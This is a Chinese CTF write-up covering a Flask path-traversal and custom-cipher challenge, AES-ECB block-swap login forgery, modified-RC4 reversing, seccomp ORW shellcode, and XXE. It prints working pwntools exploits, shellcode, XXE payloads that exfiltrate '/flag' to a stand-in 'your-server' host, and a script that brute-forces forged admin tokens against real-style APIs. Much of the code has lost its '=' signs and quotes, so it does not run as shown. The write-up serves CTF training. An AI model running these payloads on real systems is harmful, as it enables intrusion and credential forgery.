CTF靶机实战:Flask源码审计与AES-ECB块替换攻击
简介这份文档面向具备一定网络安全基础的CTF参赛选手与安全研究人员聚焦蓝桥杯竞赛中靶机破解与加密算法分析的典型题型。内容覆盖Flask Web应用代码审计、文件访问控制绕过、AES-ECB模式特性利用与认证数据伪造、逆向工程破解复杂加密算法、二进制程序漏洞挖掘以及XXE外部实体注入和模板引擎自动化攻击工具的使用每道题均给出具体解题步骤与技术细节。资源包为1个docx文档约3.6MB以图文结合方式完整记录赛题分析与操作过程便于对照复盘。目前已有3528人学习下载适合希望系统掌握Web安全、密码学与逆向工程实战思路、提升真实安全挑战应对能力的读者参考初学者建议由简入繁逐步练习。1. 密室逃脱靶机拆解从 Flask 源码到 AES-ECB 伪造登录第一次拿到这个「密室逃脱」靶机时我盯着首页那句「你被困在了顶级黑客精心设计的数字牢笼中」愣了几秒——这种叙事型赛题最近在蓝桥杯里出现得越来越频繁它不像传统 CTF 那样直接甩给你一个二进制或者一段密文而是先把你丢进一个模拟场景里让你自己去找线索。靶机跑起来之后首页只有两个入口一个「立即查看日志」一个「前往秘密区域」。点日志返回一串十六进制字符串点秘密区域提示你去访问/file?namexxx让你猜文件名。这套路很典型Web 源码泄露 自定义加密 路径穿越绕过三个考点串在一条链上。如果你平时只刷过纯密码学或者纯 Pwn 的题这种混合型靶机很容易在第一步就卡住——不知道该先看源码还是先分析密文。这篇笔记就把整个链路拆开从 Flask 路由逻辑讲到解密脚本怎么写再到 ECB 模式怎么伪造 admin 凭证最后把逆向和 Pwn 里几个容易翻车的点一并说清楚。适合已经有一定 Web 安全基础、想补全「代码审计 密码学 逆向」综合实战经验的选手。2. Flask 靶机源码审计路径穿越与自定义加密的绕过逻辑2.1 从/file?name切入定位app.py的过滤缺陷靶机提示访问/file?namexxx这个接口在 Flask 里通常对应一个读取文件的视图函数。按照常见做法我会先尝试几个高频文件名app.py、main.py、config.py、requirements.txt。这次直接访问/file?nameapp.py就拿到了完整源码说明开发者没有对name参数做后缀白名单只做了一个前缀路径检查。源码里关键部分是这样的SAFE_ROOT_DIR os.path.abspath(/app) app.route(/file) def file(): file_name request.args.get(name) if not file_name: return render_template(no_file_name.html) full_path os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name)) if not full_path.startswith(SAFE_ROOT_DIR) or config in full_path: return render_template(no_premission.html) try: with open(full_path, r) as f: content f.read() return render_template(file_content.html, contentcontent) except FileNotFoundError: return render_template(file_not_found.html)这段代码的逻辑是把用户传入的file_name拼到/app后面然后用os.path.abspath规范化最后检查规范化后的路径是否以/app开头并且路径里不能包含config字符串。看起来做了两层防护但实际有两个问题。第一os.path.abspath在拼接时如果file_name以/开头会直接忽略前面的SAFE_ROOT_DIR。比如传入name/etc/passwdos.path.join(/app, /etc/passwd)的结果是/etc/passwdabspath之后还是/etc/passwd此时startswith(/app)为假会被拦截。但如果你传入name../app/hidden.txtos.path.join得到/app/../app/hidden.txtabspath规范化后变成/app/hidden.txt仍然以/app开头检查通过。这就是典型的路径穿越绕过。第二config in full_path这个检查太粗糙。它只拦截路径里包含config字样的文件但hidden.txt、app.py这些都不含config可以随意读取。而且如果攻击者想读config.py可以用name./config.py或者nameCONFIG.py如果文件系统大小写不敏感来绕过不过 Linux 下大小写敏感这个点利用价值有限。注意os.path.abspath不会解析符号链接如果靶机里存在指向/app外部的软链接startswith检查也会被绕过。不过这道题没有涉及软链接属于额外知识点。2.2simple_encrypt的加密逻辑与密钥泄露路径源码里定义了simple_encrypt函数def simple_encrypt(text, key): encrypted bytearray() for i in range(len(text)): char text[i] key_char key[i % len(key)] encrypted.append(ord(char) ord(key_char)) return encrypted.hex()这是一个逐字符的加法加密明文字符的 ASCII 码加上密钥字符的 ASCII 码结果转成十六进制。密钥循环使用所以本质上是维吉尼亚密码的变种只不过把减法换成了加法。这种加密强度很低只要拿到密钥和密文直接反向减法就能还原明文。密钥藏在哪里源码里有一行hidden_file_content f解密密钥: {encryption_key} with open(os.path.join(SAFE_ROOT_DIR, hidden.txt), w) as f: f.write(hidden_file_content)程序启动时会把密钥写进/app/hidden.txt。而/file接口的路径穿越漏洞刚好可以读到这个文件。访问/file?namehidden.txt就能拿到密钥比如secret_key8672。同时/logs页面返回的加密字符串就是encrypted_sensitive_info也就是simple_encrypt(sensitive_info, encryption_key)的结果。到这里加密算法、密钥、密文三要素全部齐了剩下就是写解密脚本。2.3 解密脚本编写与 flag 提取解密函数就是把加密过程反过来def simple_decrypt(encrypted_hex, key): encrypted_bytes bytearray.fromhex(encrypted_hex) decrypted bytearray() for i in range(len(encrypted_bytes)): encrypted_char encrypted_bytes[i] key_char key[i % len(key)] decrypted.append(encrypted_char - ord(key_char)) return decrypted.decode(utf-8) print(simple_decrypt(d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af, secret_key8672))参数说明encrypted_hex是从/logs页面拿到的十六进制字符串key是从hidden.txt读到的密钥。bytearray.fromhex把十六进制转成字节数组然后逐字节减去对应位置的密钥字符 ASCII 码。注意密钥是循环使用的索引用i % len(key)计算。运行后输出flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}。这个解密脚本的坑在于如果密文长度不是密钥长度的整数倍最后一轮密钥只用一部分但i % len(key)会自动处理不需要额外判断。另外decrypted.decode(utf-8)要求解密结果必须是合法 UTF-8 字符串如果中间某一步算错了这里会直接抛异常反而帮你定位问题。3. AES-ECB 模式攻击分块独立加密的伪造登录实战3.1 ECB 模式为什么能被块替换攻击AES 的 ECBElectronic Codebook模式有一个致命缺陷相同的明文块在相同密钥下永远加密成相同的密文块而且每个块独立加密互不影响。这意味着如果你能控制明文的一部分并且知道它在密文中的位置就可以把某个密文块「剪切」到另一个密文里解密后对应的明文块也会跟着过去。靶机题目描述里说「以 admin 身份完成挑战」加密算法是 AES-ECB。常见的设计是用户输入用户名和密码服务端把username password拼接后加密返回密文作为 token。登录时服务端解密 token检查用户名是不是admin。如果加密时没有加随机盐或者 IV就可以用块替换的方式伪造。思路分三步发送特定填充数据让服务端返回一个正常结构的密文观察块边界。构造包含admin的输入让admin单独落在一个 16 字节块里。把这个admin块替换到原始密文的对应位置伪造出「用户名是 admin」的 token。3.2 用 pwntools 构造块替换 payload完整 exp 如下from pwn import * p remote(0.0.0.0, 12345) # 第一次加密获取填充后的密文结构 p.sendlineafter(b:, b1) # 发送两个完整块(16字节)加一个字节使第三个块只包含一个字节 p.sendlineafter(b:, b\x0f*16 b\x0f*16 b\x0f) p.sendlineafter(b:, b123456) enc1 p.recvline().decode().strip().split(:)[-1] print(enc1:, enc1) # 第二次加密构造包含admin的数据 p.sendlineafter(b:, b1) # 发送三个完整块加admin使admin单独成为一个块 p.sendlineafter(b:, b\x0f*16 b\x0f*16 b\x0f*16 badmin) p.sendlineafter(b:, b123456) enc2 p.recvline().decode().strip().split(:)[-1] print(enc2:, enc2) # 提取admin对应的密文块 # 假设admin块是第四个块(索引3)因为前三个块是填充 admin_block enc2[96:128] # 每个块32个十六进制字符(16字节) # 构造认证数据用admin块替换原始密文中的某个块 auth_data enc1[:32] admin_block # admin认证登录 p.sendlineafter(b:, b2) p.sendlineafter(b:, auth_data.encode()) p.interactive()逻辑说明第一次发送\x0f*16 \x0f*16 \x0f总共 33 字节。AES 按 16 字节分块前两块是完整的\x0f填充第三块只有 1 个字节\x0f后面会被 PKCS#7 填充到 16 字节。这样服务端返回的密文里第三块对应的是「1 字节数据 15 字节填充」的加密结果。第二次发送\x0f*16 \x0f*16 \x0f*16 admin总共 53 字节。前三个块是完整的\x0f填充第四个块是admin加上 11 字节填充。这样admin就单独落在第四个块里密文中第四个块索引 3十六进制偏移 96 到 128就是admin的加密结果。然后构造auth_data enc1[:32] admin_block也就是取第一次密文的前两个块对应两个完整的\x0f块拼上第二次密文里的admin块。服务端解密时第一个块解出\x0f*16第二个块解出\x0f*16第三个块解出admin加填充。如果服务端只检查解密后的字符串里是否包含admin或者把第一个块当作用户名就可能被绕过。参数说明enc1[:32]取的是前 32 个十六进制字符对应 16 字节也就是第一个密文块。enc2[96:128]取的是第四个密文块。偏移量 96 是因为每个块 16 字节转成十六进制是 32 个字符第四个块的起始位置是3 * 32 96。注意实际比赛中服务端可能对 token 做了 Base64 编码或者加了前缀需要根据返回格式调整auth_data的拼接方式。另外如果服务端在解密后做了严格的格式校验比如要求用户名和密码用特定分隔符隔开块替换可能不成功需要先通过第一次加密确定分隔符的位置。3.3 块大小与偏移量的快速验证方法如果不确定块大小是 16 字节还是 8 字节可以发送递增长度的输入观察密文长度的变化。AES 的块大小固定是 16 字节但有些题目会用 DES 或者 3DES块大小是 8 字节。验证方法很简单发送 15 个字节和 16 个字节的输入如果密文长度从 32 个十六进制字符跳到 64 个说明块大小是 16 字节如果从 16 跳到 32说明是 8 字节。偏移量的计算也容易翻车。比如你想让admin落在第二个块的开头需要发送15 字节填充 admin这样第一个块是 15 字节填充加 1 字节a第二个块是dmin加 12 字节填充。但这样admin被拆开了块替换后解出来的是dmin而不是admin。正确做法是发送16 字节填充 admin让admin完整落在第二个块。这个细节在 exp 里体现为\x0f*16 的倍数。4. 逆向与 Pwn 靶机避坑从 EVTX 日志到沙箱 ORW4.1 EVTX 日志分析搜索关键字而不是逐条翻EVTX 是 Windows 事件日志格式用系统自带的事件查看器打开后日志条目可能上千条。新手容易犯的错是一条一条往下翻翻到一半就放弃了。正确做法是点右侧「筛选当前日志」或者「查找」直接搜文件名关键字。这道题要找的是「攻击者访问成功的一个敏感文件」提交格式是flag{文件名}。搜索docx、xlsx、pdf这些常见敏感文件后缀很快就能定位到confidential.docx。如果事件查看器打不开或者日志被截断可以用python-evtx库解析import Evtx.Evtx as evtx with evtx.Evtx(Security.evtx) as log: for record in log.records(): xml record.xml() if docx in xml: print(xml)参数说明Evtx类接收文件路径records()返回所有事件记录xml()把单条记录转成 XML 字符串。搜关键字比逐条解析快得多适合日志量大的场景。4.2 逆向题里的「脑洞」陷阱RC4 魔改与数据区定位有一道逆向题叫BashBreakermain 函数里有一个 key 解密函数把 if 判断 patch 成 nop 后能打印出 key但找不到加密流程和密文。函数表里有一个魔改的 RC4 函数但没有被调用。最后在数据区找到一段疑似密文的数据用魔改 RC4 解密后得到结果。魔改 RC4 的关键改动在密钥调度算法KSA里j (j S[i] (key[i % len(key)] ^ 0x37)) % 256标准 RC4 是j (j S[i] key[i % len(key)]) % 256这里多了一个^ 0x37异或操作。另外在伪随机生成算法PRGA里输出字节做了一个半字节交换k ((16 * k) | (k 4)) 0xff也就是高 4 位和低 4 位互换。如果直接拿标准 RC4 解密结果全是乱码。这种题目的坑在于出题人故意把加密函数放在函数表里但不调用让你以为没用实际上密文藏在数据区需要手动定位并调用魔改函数。完整解密脚本from Crypto.Cipher import ARC4 import binascii def rc4(key: bytes, data: bytes) - bytes: S list(range(256)) j 0 for i in range(256): j (j S[i] (key[i % len(key)] ^ 0x37)) % 256 S[i], S[j] S[j], S[i] i j 0 result [] for byte in data: i (i 1) % 256 j (j S[i]) % 256 S[i], S[j] S[j], S[i] k S[(S[i] S[j]) % 256] k ((16 * k) | (k 4)) 0xff result.append((byte ^ k) 0xff) return bytes(result) if __name__ __main__: key bEC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD enc [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48, 0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD, 0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43, 0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02, 0x39, 0x18] plaintext bytes(enc) ciphertext rc4(key, plaintext) print(加密结果Hex:, bytes(ciphertext))参数说明key是从 patch 后的 key 函数里打印出来的十六进制字符串enc是从数据区提取的密文字节数组。注意key是 bytes 类型不是 hex 字符串如果直接传字符串进去key[i % len(key)]取到的是字符的 ASCII 码结果会错。这个坑我在第一次做的时候踩过解密出来全是乱码后来发现是类型问题。4.3 沙箱 ORW 的 shellcode 编写与寄存器传参RuneBreach是一道 Pwn 题开启了沙箱保护禁用了execve所以不能直接弹 shell需要用 ORWOpen-Read-Write的方式读 flag 文件。程序用mmap创建了一块可读可写可执行的内存允许输入 shellcode 执行。完整 expfrom pwn import * elf ELF(./pwn) libc ELF(./libc.so.6) p process([elf.path]) p remote(0.0.0.0, 12345) context(archelf.arch, oself.os) context.log_level debug for i in range(4): p.sendlineafter(bDefend? (y/N): , bN) shellcode asm( push 0x67616c66 mov rdi, rsp xor esi, esi push 2 pop rax syscall mov rdi, rax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall mov edi, 1 mov rsi, rsp push 1 pop rax syscall ) p.send(shellcode) p.interactive()逻辑说明push 0x67616c66把字符串flag压栈小端序0x67616c66对应flagmov rdi, rsp让rdi指向这个字符串。xor esi, esi把rsi清零表示O_RDONLY。push 2; pop rax把系统调用号设为 2opensyscall打开文件。mov rdi, rax把返回的文件描述符传给rdimov rsi, rsp把缓冲区设为栈顶mov edx, 0x100设置读取长度为 256 字节xor eax, eax把系统调用号设为 0readsyscall读取文件内容。最后mov edi, 1设置stdoutmov rsi, rsp设置输出缓冲区push 1; pop rax设置系统调用号为 1writesyscall输出 flag。参数说明push 0x67616c66压入的是flag字符串但如果 flag 文件名是flag.txt需要压入flag.txt的十六进制并且注意栈对齐。mov edx, 0x100的读取长度可以根据 flag 长度调整一般 256 字节够用。context.log_level debug方便观察每一步的输入输出正式跑的时候可以改成info减少噪音。注意沙箱可能还禁用了其他系统调用比如openat代替open或者限制了文件路径。如果 ORW 跑不通先用seccomp-toolsdump 一下沙箱规则确认哪些系统调用可用。5. 几个容易翻车的细节从 XXE 到 ECB 偏移量5.1 XXE 漏洞的盲注与外带通道有一道星际 XML 解析器的题目输入 XML 数据后解析程序会处理。如果解析器没有禁用外部实体就可以用 XXE 读取文件或者发起 SSRF。常见 payload?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root如果回显被过滤可以用外带通道OOB把数据发到自己的服务器!DOCTYPE foo [ !ENTITY % file SYSTEM file:///flag !ENTITY % dtd SYSTEM http://your-server/evil.dtd %dtd; ]evil.dtd内容!ENTITY % all !ENTITY send SYSTEM http://your-server/?data%file; %all;这个坑在于很多靶机禁用了SYSTEM关键字或者过滤了file://协议需要尝试php://filter或者gopher://等替代协议。另外如果目标服务器不能出网外带通道就失效了只能靠报错信息盲注。5.2 ECB 块替换时偏移量算错的排查方法块替换攻击最容易翻车的地方是偏移量算错。比如你以为admin落在第四个块实际上因为前面有分隔符或者服务端加了固定前缀admin落在了第五个块。排查方法把密文按 32 个十六进制字符一组切分逐块替换观察哪一块替换后能通过认证。或者用二分法先替换第一个块再替换第二个块直到找到正确的块索引。另一个坑是服务端在解密后做了 trim 或者 strip 操作把填充字符去掉了导致块边界变化。这种情况下需要先发送不同长度的输入观察密文长度和返回内容的变化推断服务端的处理逻辑。5.3 逆向题里 patch 指令的注意事项在 IDA 里把if判断 patch 成nop时要注意指令长度。x86 的jz指令是 2 字节短跳转或 6 字节近跳转直接填nop可能破坏后续指令的对齐。正确做法是用 IDA 的Edit - Patch program - Change byte把跳转指令的机器码改成90 90两个 nop或者0F 1F 00多字节 nop。如果跳转指令是 6 字节需要填 6 个90。另外patch 之后要重新运行程序确认修改生效。有些题目会在程序启动时校验自身代码的哈希值patch 后直接崩溃这时候需要找到校验函数并一并 patch 掉。5.4 Flask 调试模式开启后的风险源码最后一行是app.run(debugTrue, host0.0.0.0)。Flask 的 debug 模式会开启 Werkzeug 调试器如果 PIN 码泄露或者被爆破攻击者可以直接在浏览器里执行 Python 代码。这道题没有考这个点但实际渗透测试中遇到 debug 模式开启的 Flask 应用第一反应应该是尝试获取 PIN 码。PIN 码的生成依赖机器 ID、MAC 地址、用户名等信息如果靶机泄露了这些信息比如通过/file接口读取/etc/machine-id就可以本地复现 PIN 码生成算法进而 RCE。注意比赛环境中debug 模式通常只是方便选手调试不要把它当作主要考点。但如果其他路径都走不通可以试试这个方向。5.5 密码学题目里的类型陷阱easy_AES和BashBreaker都涉及密钥类型问题。Python 里bytes和str是两种类型ord()只能作用于strbytes索引返回的是整数。如果密钥是bytes类型key[i % len(key)]返回的是整数不需要ord()如果密钥是str类型返回的是字符需要ord()。混用会导致解密结果完全错误。排查方法在解密脚本里加一行print(type(key), type(key[0]))确认类型后再决定要不要ord()。这个坑在 CTF 里非常常见尤其是从不同来源复制密钥时很容易把 hex 字符串和 bytes 搞混。6. 从靶机到实战把 ECB 块替换思路迁移到真实 Token 伪造ECB 块替换攻击在真实场景里也有对应案例。比如某些 API 用 AES-ECB 加密用户 ID 和权限等级拼接成 token 返回给客户端。如果客户端能控制用户 ID 的一部分就可以通过块替换把普通用户的权限块替换成管理员的权限块。具体做法和靶机里一样先获取一个正常 token观察块结构再构造一个包含目标权限的 token提取对应密文块最后拼接到正常 token 里伪造出高权限凭证。验证方法写一个自动化脚本遍历所有可能的块偏移逐个替换并发送请求观察响应状态码或者返回内容的变化。如果某个偏移替换后返回了管理员才能访问的数据说明攻击成功。这个思路在渗透测试里叫「块替换模糊测试」适合快速定位 ECB 模式的利用点。import requests base_token ... # 从正常登录获取 admin_block ... # 从构造的 admin token 提取 for i in range(0, len(base_token), 32): forged base_token[:i] admin_block base_token[i32:] resp requests.get(http://target/admin, headers{Token: forged}) if resp.status_code 200 and admin in resp.text: print(f成功偏移: {i}) break参数说明base_token是正常用户的 tokenadmin_block是包含admin的密文块i是替换位置步长 32 是因为每个 AES 块 16 字节对应 32 个十六进制字符。这个脚本适合快速验证 ECB 块替换是否可行但要注意请求频率避免触发风控。从那以后我每次遇到 AES-ECB 相关的题目或者接口都会先发一组递增长度的输入确认块大小和偏移量再动手构造 payload。这个习惯帮我省了很多反复调试的时间。希望帮到你。本文还有配套的精品资源点击获取